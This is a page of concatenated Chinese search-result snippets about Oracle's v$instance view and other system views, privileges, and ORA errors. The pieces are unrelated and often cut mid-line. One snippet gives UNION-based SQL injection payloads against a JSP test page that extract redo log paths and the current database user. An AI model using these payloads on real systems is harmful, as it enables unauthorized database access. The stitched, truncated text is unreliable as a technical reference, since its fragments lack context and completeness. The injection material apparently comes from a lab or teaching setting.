可以这么考虑!查询当前实例的状态，v$instance是个视图STATUSVARCHAR2(12)Statusoftheinstance:•STARTED-AfterSTARTUPNOMOUNT•MOUNTED-AfterSTARTUPMOUNTorALTERDATABASECLOSE•OPEN-AfterSTARTUPorALTERDATABASEOPEN•OPENMIGRATE-AfterALTERDATABASEOPEN{UPGRADE|DOWNGRADE} ...
id=100 union select null,( select member from v$logfile where rownum=1),null,null,null,null,null,null,null,null,null from dual 获取连接数据库的当前用户 http://192.168.1.210:8080/SqlInject/SqlTest.jsp?id=100 union select null,( select SYS_CONTEXT ('USERENV','CURRENT_USER')from dual),nu...
v$datafile 数据文件信息 v$controlfile控制文件信息 v$logfile 重做日志信息 v$instance 数据库实例信息 v$log 日志组信息 v$loghist 日志历史信息 v$sga 数据库SGA信息 v$parameter 初始化参数信息 v$process 数据库服务器进程信息 v$bgprocess 数据库后台进程信息 v$controlfile_record_section ...
报错信息如上图sql语句是INSERTINTOTB_TEST(ID,NAME,SEX,AGE,REMARK)SELECT'110','名字','1',20,'备注'FROMDUAL把这句sql放入plsql中执行是没问题的但是在mybatis中执行就报错ORA-009... 报错信息如上图sql语句是 INSERT INTO TB_TEST(ID,NAME,SEX,AGE,REMARK) SELECT '110','名字','1',20,'备注' ...
Oracle Database - Enterprise Edition - Version 19.0.0.0 and laterInformation in this document applies to any platform.GoalWhat privileges are required for select on v$instance and v$database?SolutionSign In To view full details, sign in with your My Oracle Support account. Register Don't hav...
1.把语句改成 select instance_name from sys.v_$instance;2.使用有DBA权限的用户执行此语句。
V$INSTANCE视图,V$INSTANCEV$INSTANCE展示当前实力的状态。ColumnDatatypeDescriptionINSTANCE_NUMBERNUMBERInstancenumberusedforinstanceregistration(correspondstotheINSTANCE_NUMBERinitializationparameter)SeeAlso:"INS
v￥instance数据库实例信息存放的是连接数据库实例的信息－－－以下是oracle数据库提供的系统表：dba＿开头．．． dba＿users数据库用户信息 dba＿segments 表段信息 dba＿extents 数据区信息 dba＿objects 数据库对象信息 dba＿tablespaces数据库表空间信息 dba＿data＿files 数据文件设置信息 dba＿...
SQL> GRANT SELECT ON v$session TO test_user; grant select on v$session to test_user * ERROR at line 1: ORA-02030: can only select from fixed tables/views SQL> GRANT SELECT ON v$instance TO test_user; grant select on v$instance to test_user ...